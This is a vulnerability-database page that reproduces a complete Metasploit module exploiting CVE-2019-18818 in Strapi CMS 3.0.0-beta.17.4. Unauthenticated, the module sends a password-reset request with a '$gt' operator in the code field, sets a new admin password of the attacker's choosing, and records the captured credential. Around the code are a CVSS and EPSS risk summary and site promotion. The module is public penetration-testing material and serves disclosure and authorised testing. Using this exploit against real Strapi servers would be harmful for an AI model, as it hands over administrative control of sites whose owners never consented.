Lucene search
K

Strapi CMS Unauthenticated Password Reset

🗓️ 21 Nov 2024 18:54:32Reported by WackyH4cker, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 358 Views

Module abuses Strapi CMS v3.0.0-beta.17.4 unauthenticated password reset to change admin password

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Strapi CMS Unauthenticated Password Reset',
        'Description' => %q{
          This module abuses the mishandling of a password reset request for
          Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user.

          Successfully tested against Strapi CMS version 3.0.0-beta.17.4.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'WackyH4cker', # original module creation
          'h00die' # lots of fixes, documentation, standardization
        ],
        'References' => [
          [ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ],
          [ 'URL', 'https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.4' ],
          [ 'URL', 'https://github.com/strapi/strapi/pull/4443' ],
          [ 'CVE', '2019-18818' ],
          [ 'EDB', '50716' ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2022-02-09',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options [
      OptString.new('NEW_PASSWORD', [true, 'New Admin password']),
      OptString.new('TARGETURI', [true, 'The base path to strapi', '/'])
    ]
  end

  # not used, but figured id include it anyways
  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'init')
    })
    return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?

    begin
      version = JSON.parse(res.body)
    rescue JSON::ParserError
      return Exploit::CheckCode::Safe("Unable to parse json data: #{res.body}")
    end

    # Untested if it works with versions lower than 3.0.0-beta.17.4.
    # builds of 3.0.0-beta.17.3 and lower fail:
    # npm ERR! gyp: Undefined variable standalone_static_library in binding.gyp while trying to load binding.gyp
    # however vulners shows 3.0.0 and up to 3.0.0-beta.17.4 are vulnerable
    version = Rex::Version.new(version.dig('data', 'strapiVersion'))
    if version.start_with?('3.0.0-beta') && (Rex::Version.new(version.split('-beta.')[1]) <= Rex::Version.new('17.4'))
      return Exploit::CheckCode::Vulnerable("Vulnerable version detected: #{version.dig('data', 'strapiVersion')}")
    end

    Exploit::CheckCode::Safe('Strapi version is not vulnerable to password reset')
  end

  def run
    json_post_data = JSON.generate({
      'code' => { '$gt' => 0 },
      'password' => datastore['NEW_PASSWORD'],
      'passwordConfirmation' => datastore['NEW_PASSWORD']
    })

    print_status('Resetting admin password...')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'auth', 'reset-password'),
      'ctype' => 'application/json',
      'data' => json_post_data
    })

    if res.nil?
      print_error('Unable to determine due to a HTTP connection timeout')
      return
    end

    begin
      json_resp = JSON.parse(res.body)
    rescue JSON::ParserError
      print_error("Unable to parse json data: #{res.body}")
      return
    end

    unless res.code == 200
      print_error('Could not change admin user password, unexpected response code')
      return
    end

    print_good('Password changed successfully!')
    print_good("User: #{json_resp['user']['username']}")
    print_good("Email: #{json_resp['user']['email']}")
    print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      workspace_id: myworkspace_id,
      service_name: 'strapi cms',
      address: rhost,
      port: rport,
      private_type: :password,
      private_data: datastore['NEW_PASSWORD'],
      username: json_resp['user']['username']
    }
    create_credential(credential_data)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jun 2026 19:06Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 3.19.8
EPSS0.97639
358